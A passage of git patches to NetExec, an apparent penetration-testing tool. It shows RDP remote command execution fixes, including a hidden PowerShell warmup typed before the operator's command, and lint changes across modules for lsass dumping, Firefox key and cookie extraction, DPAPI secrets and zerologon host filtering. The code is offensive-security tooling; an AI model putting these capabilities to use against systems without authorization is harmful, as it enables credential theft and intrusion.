RDPConnection( iosettings=iosettings, From 22db44f3807070a2b5a4011053845810478bce75 Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sun, 26 Jul 2026 01:41:19 -0700 Subject: [PATCH 185/397] fix: terminate connection on connect failure to prevent socket leak --- nxc/protocols/rdp.py | 1 + 1 file changed, 1 insertion(+) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 20d7535288..ed29c9ac91 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -590,6 +590,7 @@ async def execute_shell(self, payload, get_output, shell_type): await self.connect_rdp() except Exception as e: self.logger.debug(f"Error connecting to RDP: {e!s}") + await self.terminate_conn() return None try: From 78169e8354f0d221bc1b3d5108abc464cc57d701 Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sun, 26 Jul 2026 02:12:50 -0700 Subject: [PATCH 186/397] fix(rdp): preserve protocol overrides and kerberos logging --- nxc/protocols/rdp.py | 30 ++++++++++++++++-------------- 1 file changed, 16 insertions(+), 14 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index ed29c9ac91..c28d57ee45 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -117,13 +117,12 @@ def print_host_info(self): except Exception as e: self.logger.debug(f"Error adding host {self.host} into db: {e!s}") - def _create_rdp_connection(self, credentials): + def _create_rdp_connection(self, credentials, supported_protocols=None): iosettings = self.iosettings.clone_for_connection() - if credentials is not None: - # clear the protocol override left by the NLA probe so aardwolf - # picks the right X224 flags for this credential type (e.g. - # RESTRICTED_ADMIN for hashes, HYBRID_EX for passwords) - iosettings.supported_protocols = None + # Explicit protocols are used by discovery and screenshot fallbacks. + # Authenticated connections leave this unset so aardwolf selects the + # X224 flags appropriate for the credential type. + iosettings.supported_protocols = supported_protocols return RDPConnection( iosettings=iosettings, target=copy.deepcopy(self.target), @@ -138,8 +137,9 @@ def create_conn_obj(self): for proto in reversed(self.protoflags): try: - self.iosettings.supported_protocols = proto - self.conn = self._create_rdp_connection(self.auth) + self.conn = self._create_rdp_connection( + self.auth, supported_protocols=proto + ) asyncio.run(self.connect_rdp_with_cleanup()) except OSError as e: if "Errno 104" not in str(e): @@ -185,8 +185,9 @@ def create_conn_obj(self): async def check_nla(self): self.logger.debug(f"Checking NLA for {self.host}") try: - self.iosettings.supported_protocols = SUPP_PROTOCOLS.SSL - self.conn = self._create_rdp_connection(None) + self.conn = self._create_rdp_connection( + None, supported_protocols=SUPP_PROTOCOLS.SSL + ) packetizer = TPKTPacketizer() client = UniClient(self.target, packetizer) self.conn._connection = await asyncio.wait_for(client.connect(), timeout=self.args.rdp_timeout) @@ -240,8 +241,6 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", if nthash: self.nthash = nthash - kerb_pass = next(s for s in [nthash, password, aesKey] if s) if not all(s == "" for s in [nthash, password, aesKey]) else "" - self.hostname + "." + self.domain password = password if password else nthash @@ -262,6 +261,8 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", stype = asyauthSecret.PASS if not nthash else asyauthSecret.NT password = password if password else nthash + kerb_pass = password + kerberos_target = UniTarget( self.kdcHost, 88, @@ -693,8 +694,9 @@ async def nla_screen(self): for proto in self.protoflags_nla: try: - self.iosettings.supported_protocols = proto - self.conn = self._create_rdp_connection(self.auth) + self.conn = self._create_rdp_connection( + self.auth, supported_protocols=proto + ) await self.connect_rdp() except Exception as e: self.logger.debug(f"Failed to connect for nla_screenshot with {proto} {e}") From ac6f58149f9dbf8a5b2006c4d7b5199f044d43b1 Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sun, 26 Jul 2026 18:44:25 -0700 Subject: [PATCH 187/397] fix(rdp): use auth_only connect to prevent Win11 clipboard failure --- nxc/protocols/rdp.py | 29 ++++++++++++++++++----------- 1 file changed, 18 insertions(+), 11 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index c28d57ee45..0ad46fb709 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -200,15 +200,14 @@ async def check_nla(self): except Exception: pass - async def connect_rdp(self): + async def connect_rdp(self, auth_only=False): """Connect to the RDP server. Does NOT clean up on exit. - Use this when the caller needs the connection alive after connecting - (screen, nla_screen, execute_shell). For sync callers that only need to - know whether authentication succeeded and want guaranteed cleanup, use - connect_rdp_with_cleanup() instead. + When auth_only is True, performs only CredSSP/NLA authentication + without establishing a full RDP session. This verifies credentials + without creating a disconnected session on single-session hosts. """ - _, err = await asyncio.wait_for(self.conn.connect(), timeout=self.args.rdp_timeout) + _, err = await asyncio.wait_for(self.conn.connect(auth_only=auth_only), timeout=self.args.rdp_timeout) if err is not None: raise err @@ -218,10 +217,10 @@ async def terminate_conn(self): with contextlib.suppress(Exception): await asyncio.wait_for(self.conn.terminate(), timeout=self.args.rdp_timeout) - async def connect_rdp_with_cleanup(self): + async def connect_rdp_with_cleanup(self, auth_only=False): """Connect to the RDP server and always terminate the connection on exit""" try: - await self.connect_rdp() + await self.connect_rdp(auth_only=auth_only) finally: await self.terminate_conn() @@ -282,7 +281,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", stype=stype, ) self.conn = self._create_rdp_connection(self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + asyncio.run(self.connect_rdp_with_cleanup(auth_only=self._execution_pending())) self.admin_privs = True self.logger.success( @@ -329,6 +328,10 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", ) return False + def _execution_pending(self): + """Check if command execution will follow authentication.""" + return bool(self.args.execute or self.args.ps_execute) + def plaintext_login(self, domain, username, password): try: self.auth = NTLMCredential( @@ -338,7 +341,9 @@ def plaintext_login(self, domain, username, password): stype=asyauthSecret.PASS, ) self.conn = self._create_rdp_connection(self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + # When execution follows, use auth_only to verify credentials + # without creating a full session (avoids Win11 clipboard issues). + asyncio.run(self.connect_rdp_with_cleanup(auth_only=self._execution_pending())) self.admin_privs = True self.logger.success(f"{domain}\\{username}:{process_secret(password)} {self.mark_pwned()}") @@ -372,7 +377,7 @@ def hash_login(self, domain, username, ntlm_hash): stype=asyauthSecret.NT, ) self.conn = self._create_rdp_connection(self.auth) - asyncio.run(self.connect_rdp_with_cleanup()) + asyncio.run(self.connect_rdp_with_cleanup(auth_only=self._execution_pending())) self.admin_privs = True self.logger.success(f"{self.domain}\\{username}:{process_secret(ntlm_hash)} {self.mark_pwned()}") @@ -591,6 +596,8 @@ async def execute_shell(self, payload, get_output, shell_type): await self.connect_rdp() except Exception as e: self.logger.debug(f"Error connecting to RDP: {e!s}") + if "CredSSP" in str(e) or "STATUS_LOGON" in str(e): + self.logger.fail(f"Authentication failed: {e!s}") await self.terminate_conn() return None From 5d45303e195b8caa760dc8bf7e48374e36e49e01 Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sun, 26 Jul 2026 22:31:07 -0700 Subject: [PATCH 188/397] fix(rdp): return None from clipboard timeout, not empty string --- nxc/protocols/rdp.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 0ad46fb709..18438d451d 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -608,7 +608,7 @@ async def execute_shell(self, payload, get_output, shell_type): await self._wait_for_event({"CLIPBOARD_READY"}, self.args.clipboard_delay) except asyncio.TimeoutError: self.logger.fail("Clipboard cannot be initialized, no output can be retrieved") - return "" + return None await self._wait_for_desktop() if get_output: From ab7c2d56d3892e7846724b3e9cbaa0b91ae13c3b Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Sun, 26 Jul 2026 23:14:02 -0700 Subject: [PATCH 189/397] fix(rdp): prime .NET runtime to eliminate cold-start timeout on Win11 --- nxc/protocols/rdp.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index 18438d451d..b3d63bbbd4 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -611,6 +611,17 @@ async def execute_shell(self, payload, get_output, shell_type): return None await self._wait_for_desktop() + + # Prime the .NET/PowerShell runtime on Windows 10/11 single-session + # hosts where first execution after logon can take 30-60s due to + # JIT compilation of System.Windows.Forms. This hidden warmup command + # loads the assembly without producing any visible output. + await self._submit_typed_run_command( + "powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden " + '-Command "Add-Type -AssemblyName System.Windows.Forms"' + ) + await asyncio.sleep(3) + if get_output: try: await self._submit_run_command(command) From 5b1ee92773aa5183205a5c1092d21b46ce298523 Mon Sep 17 00:00:00 2001 From: Adam Hassan Date: Mon, 27 Jul 2026 02:12:21 -0700 Subject: [PATCH 190/397] fix(rdp): only warmup .NET runtime when output is needed --- nxc/protocols/rdp.py | 20 +++++++++++--------- 1 file changed, 11 insertions(+), 9 deletions(-) diff --git a/nxc/protocols/rdp.py b/nxc/protocols/rdp.py index b3d63bbbd4..2f1b29547d 100644 --- a/nxc/protocols/rdp.py +++ b/nxc/protocols/rdp.py @@ -612,15 +612,17 @@ async def execute_shell(self, payload, get_output, shell_type): await self._wait_for_desktop() - # Prime the .NET/PowerShell runtime on Windows 10/11 single-session - # hosts where first execution after logon can take 30-60s due to - # JIT compilation of System.Windows.Forms. This hidden warmup command - # loads the assembly without producing any visible output. - await self._submit_typed_run_command( - "powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden " - '-Command "Add-Type -AssemblyName System.Windows.Forms"' - ) - await asyncio.sleep(3) + if get_output: + # On first RDP logon after boot, Explorer may not be ready to + # process Win+R immediately after the desktop appears. This + # no-op warmup command absorbs the race: if the shell isn't + # ready it silently fails, and the 3-second pause gives Explorer + # time to finish initialization before the real command. + await self._submit_typed_run_command( + "powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden " + '-Command "Add-Type -AssemblyName System.Windows.Forms"' + ) + await asyncio.sleep(3) if get_output: try: From e6ad90b79cedadb30c516afad1bc960d962b984a Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 08:02:57 -0400 Subject: [PATCH 191/397] Exclude rule that forces rule names instead of codes --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index 829c0d3934..40fd881b36 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -116,7 +116,7 @@ ignore = [ "A004", "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "FURB", "RET503", "RET505", "RET506", "RET507", "RET508", - "PERF203", "RUF012", "RUF052", "RUF059" + "PERF203", "RUF012", "RUF052", "RUF059", "RUF201" ] # THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings From e743cd0496f7169ec12c26a8090a497666dd4d69 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 08:06:13 -0400 Subject: [PATCH 192/397] Fix file handle stuff --- nxc/logger.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/nxc/logger.py b/nxc/logger.py index 468fd667ea..182686d0b9 100755 --- a/nxc/logger.py +++ b/nxc/logger.py @@ -181,7 +181,8 @@ def add_file_log(self, log_file=None): if not os.path.isfile(output_file): try: - open(output_file, "x") # noqa: SIM115 + with open(output_file, "x"): + pass except FileNotFoundError: print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}") exit(1) From 3f317d989bb29861775fb26a6fec4b57a1f4cfbe Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 09:15:21 -0400 Subject: [PATCH 193/397] Fix linting --- nxc/connection.py | 2 +- nxc/modules/daclread.py | 2 +- nxc/modules/drop-sc.py | 2 +- nxc/modules/handlekatz.py | 4 ++-- nxc/modules/mremoteng.py | 2 +- nxc/modules/spider_plus.py | 2 +- nxc/modules/user-desc.py | 2 +- nxc/netexec.py | 8 ++++---- nxc/protocols/ftp.py | 4 ++-- nxc/protocols/ldap.py | 2 +- nxc/protocols/nfs.py | 6 +++--- nxc/protocols/rdp/database.py | 2 +- nxc/protocols/smb.py | 4 ++-- nxc/protocols/smb/database.py | 10 +++++----- nxc/protocols/smb/firefox.py | 8 ++++---- nxc/protocols/smb/smbspider.py | 4 ++-- nxc/protocols/wmi/wmiexec.py | 2 +- nxc/protocols/wmi/wmiexec_event.py | 2 +- 18 files changed, 34 insertions(+), 34 deletions(-) diff --git a/nxc/connection.py b/nxc/connection.py index 1b0de7de11..10e95cfe73 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -335,7 +335,7 @@ def over_fail_limit(self, username): if self.failed_logins == self.args.fail_limit: return True - if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # noqa: SIM103 + if username in user_failed_logins and self.args.ufail_limit == user_failed_logins[username]: # ruff: ignore[needless-bool] return True return False diff --git a/nxc/modules/daclread.py b/nxc/modules/daclread.py index 32ea0f250b..d591378b9a 100644 --- a/nxc/modules/daclread.py +++ b/nxc/modules/daclread.py @@ -249,7 +249,7 @@ def options(self, context, module_options): context.log.debug("There is a target specified!") if isfile(module_options[option]): try: - target_file = open(module_options[option]) # noqa: SIM115 + target_file = open(module_options[option]) # ruff: ignore[open-file-with-context-handler] for line in target_file: context.log.debug(f"Adding target from file: {line}") self.targets.append((line.strip(), SEARCH_FILTERS[option])) diff --git a/nxc/modules/drop-sc.py b/nxc/modules/drop-sc.py index 5f358f1489..be9df316fb 100644 --- a/nxc/modules/drop-sc.py +++ b/nxc/modules/drop-sc.py @@ -47,7 +47,7 @@ def options(self, context, module_options): with open(self.scfile_path, "w") as scfile: scfile.truncate(0) scfile.write('') - scfile.write("') # noqa ISC001 + scfile.write("') scfile.write("Microsoft Outlook") scfile.write("false") scfile.write("true") diff --git a/nxc/modules/handlekatz.py b/nxc/modules/handlekatz.py index 46aa38cda5..4fa5c44e85 100644 --- a/nxc/modules/handlekatz.py +++ b/nxc/modules/handlekatz.py @@ -126,8 +126,8 @@ def on_admin_login(self, context, connection): except Exception as e: context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}") - h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115 - h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115 + h_in = open(self.dir_result + machine_name, "rb") # ruff: ignore[open-file-with-context-handler] + h_out = open(self.dir_result + machine_name + ".decode", "wb") # ruff: ignore[open-file-with-context-handler] bytes_in = bytearray(h_in.read()) bytes_in_len = len(bytes_in) diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index c26f76f24e..8612d1a2df 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -129,7 +129,7 @@ def get_users(self, conn): for d in directories: if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) # noqa: PERF401, ignoring for readability + users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability return users def handle_confCons_file(self, file_content): diff --git a/nxc/modules/spider_plus.py b/nxc/modules/spider_plus.py index c3ef4be0e0..89421a40a3 100755 --- a/nxc/modules/spider_plus.py +++ b/nxc/modules/spider_plus.py @@ -327,7 +327,7 @@ def parse_file(self, share_name, file_path, file_info): download_success = True except SessionError as e: if "STATUS_SHARING_VIOLATION" in str(e): - pass + self.logger.debug(f"Sharing violation while downloading file: {file_path}") except Exception as e: self.logger.fail(f'Failed to download file "{file_path}". Error: {e!s}') diff --git a/nxc/modules/user-desc.py b/nxc/modules/user-desc.py index 487cd7aaa2..a43e001596 100644 --- a/nxc/modules/user-desc.py +++ b/nxc/modules/user-desc.py @@ -95,7 +95,7 @@ def create_log_file(self, host, time): logfile = Path(NXC_PATH).joinpath(logfile) self.context.log.info(f"Creating log file '{logfile}'") - self.log_file = open(logfile, "w") # noqa: SIM115 + self.log_file = open(logfile, "w") # ruff: ignore[open-file-with-context-handler] self.append_to_log("User:", "Description:") def delete_log_file(self): diff --git a/nxc/netexec.py b/nxc/netexec.py index f606e6e54f..c1f7e3fceb 100644 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -42,7 +42,7 @@ resource.setrlimit(resource.RLIMIT_NOFILE, file_limit) -async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 +async def start_run(protocol_obj, args, db, targets): # ruff: ignore[unused-async] futures = [] nxc_logger.debug("Creating ThreadPoolExecutor") if args.no_progress or len(targets) == 1: @@ -60,7 +60,7 @@ async def start_run(protocol_obj, args, db, targets): # noqa: RUF029 nxc_logger.debug(f"Creating thread for {protocol_obj}") futures = [executor.submit(protocol_obj, args, db, target) for target in targets] for _ in as_completed(futures): - current += 1 # noqa: SIM113 + current += 1 # ruff: ignore[enumerate-for-loop] progress.update(tasks, completed=current) for future in as_completed(futures): try: @@ -118,8 +118,8 @@ def main(): start_id, end_id = cred_id.split("-") try: for n in range(int(start_id), int(end_id) + 1): - args.cred_id.append(n) # noqa: B909 - args.cred_id.remove(cred_id) # noqa: B909 + args.cred_id.append(n) # ruff: ignore[loop-iterator-mutation] + args.cred_id.remove(cred_id) # ruff: ignore[loop-iterator-mutation] except Exception as e: nxc_logger.error(f"Error parsing database credential id: {e}") exit(1) diff --git a/nxc/protocols/ftp.py b/nxc/protocols/ftp.py index d91bcb6806..becbb2e73a 100644 --- a/nxc/protocols/ftp.py +++ b/nxc/protocols/ftp.py @@ -128,7 +128,7 @@ def get_file(self, filename): # Check if the file exists self.conn.size(filename) # Attempt to download the file - self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # noqa: SIM115 + self.conn.retrbinary(f"RETR {filename}", open(downloaded_file, "wb").write) # ruff: ignore[open-file-with-context-handler] except error_perm as error_message: self.logger.fail(f"Failed to download the file. Response: ({error_message})") self.conn.close() @@ -146,7 +146,7 @@ def get_file(self, filename): def put_file(self, local_file, remote_file): try: # Attempt to upload the file - self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # noqa: SIM115 + self.conn.storbinary(f"STOR {remote_file}", open(local_file, "rb")) # ruff: ignore[open-file-with-context-handler] except error_perm as error_message: self.logger.fail(f"Failed to upload file. Response: ({error_message})") return False diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index d841a80436..5ca3fc55b8 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -364,7 +364,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", color="yellow", ) # If no preauth is set, we want to be able to execute commands such as --kerberoasting - if self.args.no_preauth_targets: # noqa: SIM103 + if self.args.no_preauth_targets: # ruff: ignore[needless-bool] return True else: return False diff --git a/nxc/protocols/nfs.py b/nxc/protocols/nfs.py index 4dc7efc97f..4b4251f030 100644 --- a/nxc/protocols/nfs.py +++ b/nxc/protocols/nfs.py @@ -642,13 +642,13 @@ def get_root_handles(self, mount_fh): # Format for the file id see: https://elixir.bootlin.com/linux/v6.13.4/source/include/linux/exportfs.h#L25 fh = bytearray(mount_fh) if filesystem in [FileID.ext, FileID.unknown]: - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # noqa: E226 - root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x02\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator] + root_handles.append(bytes(fh[:3] + b"\x02" + fh[4:4+fh_fsid_len] + b"\x80\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x80\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator] if filesystem in [FileID.btrfs, FileID.unknown]: # Iterate over btrfs subvolumes, use 16 as default similar to the guys from nfs-security-tooling for i in range(16): subvolume = int.to_bytes(i) + b"\x01\x00\x00" - root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # noqa: E226 + root_handles.append(bytes(fh[:3] + b"\x4d" + fh[4:4+fh_fsid_len] + b"\x00\x01\x00\x00" + b"\x00\x00\x00\x00" + subvolume + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00")) # ruff: ignore[missing-whitespace-around-arithmetic-operator] return root_handles diff --git a/nxc/protocols/rdp/database.py b/nxc/protocols/rdp/database.py index b7cbd86fcc..d809231325 100644 --- a/nxc/protocols/rdp/database.py +++ b/nxc/protocols/rdp/database.py @@ -98,7 +98,7 @@ def get_hosts(self, filter_term=None, domain=None): return [results] # filtering nla False because this is the misconfiguration we are looking for elif filter_term == "nla": - q = q.filter(self.HostsTable.c.nla == False) # noqa: E712 + q = q.filter(self.HostsTable.c.nla == False) # ruff: ignore[true-false-comparison] # if we're filtering by ip/hostname elif filter_term and filter_term != "": q = format_host_query(q, filter_term, self.HostsTable) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index fd7d04158b..4077326986 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -2314,7 +2314,7 @@ def dpapi(self): if self.args.pvk is not None: try: - self.pvkbytes = open(self.args.pvk, "rb").read() # noqa: SIM115 + self.pvkbytes = open(self.args.pvk, "rb").read() # ruff: ignore[open-file-with-context-handler] self.logger.success(f"Loading domain backupkey from {self.args.pvk}") except Exception as e: self.logger.fail(str(e)) @@ -2337,7 +2337,7 @@ def dpapi(self): use_kcache=self.use_kcache, ) - self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # noqa: SIM115 + self.output_file = open(self.output_file_template.format(output_folder="dpapi"), "w", encoding="utf-8") # ruff: ignore[open-file-with-context-handler] conn = upgrade_to_dploot_connection(connection=self.conn, target=target) if conn is None: diff --git a/nxc/protocols/smb/database.py b/nxc/protocols/smb/database.py index 1225bbd612..4277571572 100755 --- a/nxc/protocols/smb/database.py +++ b/nxc/protocols/smb/database.py @@ -465,18 +465,18 @@ def get_hosts(self, filter_term=None, domain=None): return [results] # if we're filtering by domain controllers elif filter_term == "dc": - q = q.filter(self.HostsTable.c.dc == True) # noqa: E712 + q = q.filter(self.HostsTable.c.dc == True) # ruff: ignore[true-false-comparison] if domain: q = q.filter(func.lower(self.HostsTable.c.domain) == func.lower(domain)) elif filter_term == "signing": # generally we want hosts that are vulnerable, so signing disabled - q = q.filter(self.HostsTable.c.signing == False) # noqa: E712 + q = q.filter(self.HostsTable.c.signing == False) # ruff: ignore[true-false-comparison] elif filter_term == "spooler": - q = q.filter(self.HostsTable.c.spooler == True) # noqa: E712 + q = q.filter(self.HostsTable.c.spooler == True) # ruff: ignore[true-false-comparison] elif filter_term == "zerologon": - q = q.filter(self.HostsTable.c.zerologon == True) # noqa: E712 + q = q.filter(self.HostsTable.c.zerologon == True) # ruff: ignore[true-false-comparison] elif filter_term == "petitpotam": - q = q.filter(self.HostsTable.c.petitpotam == True) # noqa: E712 + q = q.filter(self.HostsTable.c.petitpotam == True) # ruff: ignore[true-false-comparison] elif filter_term is not None and filter_term.startswith("domain"): domain = filter_term.split()[1] like_term = func.lower(f"%{domain}%") diff --git a/nxc/protocols/smb/firefox.py b/nxc/protocols/smb/firefox.py index d490abb757..c111586f71 100644 --- a/nxc/protocols/smb/firefox.py +++ b/nxc/protocols/smb/firefox.py @@ -147,7 +147,7 @@ def run(self, gather_cookies=False): def parse_cookie_data(self, windows_user, cookies_data): cookies = [] - fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 + fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler] fh.write(cookies_data) fh.seek(0) db = sqlite3.connect(fh.name) @@ -192,7 +192,7 @@ def get_all_keys(self, key4_data, master_password=b""): # Instead of disabling "delete" and removing the file manually, # in the future (py3.12) we could use "delete_on_close=False" as a cleaner solution # Related issue: #134 - fh = tempfile.NamedTemporaryFile(delete=False) # noqa: SIM115 + fh = tempfile.NamedTemporaryFile(delete=False) # ruff: ignore[open-file-with-context-handler] fh.write(key4_data) fh.seek(0) db = sqlite3.connect(fh.name) @@ -216,7 +216,7 @@ def get_all_keys(self, key4_data, master_password=b""): for row in cursor: try: a11 = row[0] - a102 = row[1] # noqa: F841 + a102 = row[1] # ruff: ignore[unused-variable] decoded_a11 = decoder.decode(a11) key = self.decrypt_3des(decoded_a11, master_password, global_salt) @@ -260,7 +260,7 @@ def get_users(self): for d in directories: if d.get_longname() not in self.false_positive and d.is_directory() > 0: - users.append(d.get_longname()) # noqa: PERF401, ignoring for readability + users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability return users @staticmethod diff --git a/nxc/protocols/smb/smbspider.py b/nxc/protocols/smb/smbspider.py index 95677bf41e..d39972966e 100755 --- a/nxc/protocols/smb/smbspider.py +++ b/nxc/protocols/smb/smbspider.py @@ -100,7 +100,7 @@ def _spider(self, subfolder, depth): for result in filelist: # this can potentially be refactored if result.is_directory() and result.get_longname() not in [".", ".."]: - if subfolder == "*": # noqa: SIM114 + if subfolder == "*": # ruff: ignore[if-with-same-arms] self._spider( subfolder.replace("*", "") + result.get_longname(), depth - 1 if depth else None, @@ -216,7 +216,7 @@ def search_content(self, path, result): except SessionError as e: if "STATUS_SHARING_VIOLATION" in str(e): - pass + self.logger.debug(f"Sharing violation while reading file: {path}{result.get_longname()}") except Exception: traceback.print_exc() diff --git a/nxc/protocols/wmi/wmiexec.py b/nxc/protocols/wmi/wmiexec.py index b6a505fb9c..b03826d23d 100644 --- a/nxc/protocols/wmi/wmiexec.py +++ b/nxc/protocols/wmi/wmiexec.py @@ -1,4 +1,4 @@ -# Author: xiaolichan # noqa: ERA001 +# Author: xiaolichan # ruff: ignore[commented-out-code] # Link: https://github.com/XiaoliChan/wmiexec-RegOut/blob/main/wmiexec-regOut.py # Note: windows version under NT6 not working with this command execution way # https://github.com/XiaoliChan/wmiexec-RegOut/blob/main/wmiexec-reg-sch-UnderNT6-wip.py -- WIP diff --git a/nxc/protocols/wmi/wmiexec_event.py b/nxc/protocols/wmi/wmiexec_event.py index dd4bc81fd9..2a09a3a5c7 100644 --- a/nxc/protocols/wmi/wmiexec_event.py +++ b/nxc/protocols/wmi/wmiexec_event.py @@ -1,4 +1,4 @@ -# Author: xiaolichan # noqa: ERA001 +# Author: xiaolichan # ruff: ignore[commented-out-code] # Link: https://github.com/XiaoliChan/wmiexec-Pro # Note: windows version under NT6 not working with this command execution way, it need Win32_ScheduledJob. # https://github.com/XiaoliChan/wmiexec-Pro/blob/main/lib/modules/exec_command.py From f2123179866cd9a3175746b07196647f578a9a0b Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Sun, 16 Aug 2026 09:20:08 -0400 Subject: [PATCH 194/397] Update lock file --- uv.lock | 383 +++++++++++++++++++++++++++++++++----------------------- 1 file changed, 226 insertions(+), 157 deletions(-) diff --git a/uv.lock b/uv.lock index be439b0bf9..703e2d2900 100644 --- a/uv.lock +++ b/uv.lock @@ -515,89 +515,165 @@ wheels = [ [[package]] name = "charset-normalizer" -version = "3.4.9" -source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/bd/2a/23f34ec9d04624958e137efdc394888716353190e75f25dd22c7a2c7a8aa/charset_normalizer-3.4.9.tar.gz", hash = "sha256:673611bbd43f0810bec0b0f028ddeaaa501190339cac411f347ac76917c3ae7b", size = 152439, upload-time = "2026-07-07T14:34:58.454Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/ad/81/8e983840c6e5b93b33c2ba81aa3d52c2e42f0e9a690ce7607a2e61da4a5c/charset_normalizer-3.4.9-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:cd6280cf040f233bd7d3407b743b4b4c74f70e8e1c4199cb112a62c941c0772a", size = 322240, upload-time = "2026-07-07T14:32:36.236Z" }, - { url = "https://files.pythonhosted.org/packages/de/d1/b4319dc3229d8272fba305e206fc0a148e2de8d4087917ce62ae6382f359/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa99adc8f081b475a12843953db36831eaf83ec33eb46a90629ca6a5de45a616", size = 216475, upload-time = "2026-07-07T14:32:38.142Z" }, - { url = "https://files.pythonhosted.org/packages/80/33/6c99c1b3e6b8bf730e1bc809b9a2608f224145069114c479a2e9e1494346/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c1225416b463483160e4af85d5fc3a9690ccb53fd4b1865a6437825f5ede3209", size = 238670, upload-time = "2026-07-07T14:32:39.658Z" }, - { url = "https://files.pythonhosted.org/packages/7f/f4/ffbb83546e1f198ecc70ecd372b65cf2b50f9068b380abd67640f17a8e18/charset_normalizer-3.4.9-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:16d10d789dd9bcca1173c95af82c58433122564b7bc39385124be735a35cbe99", size = 233476, upload-time = "2026-07-07T14:32:41.155Z" }, - { url = 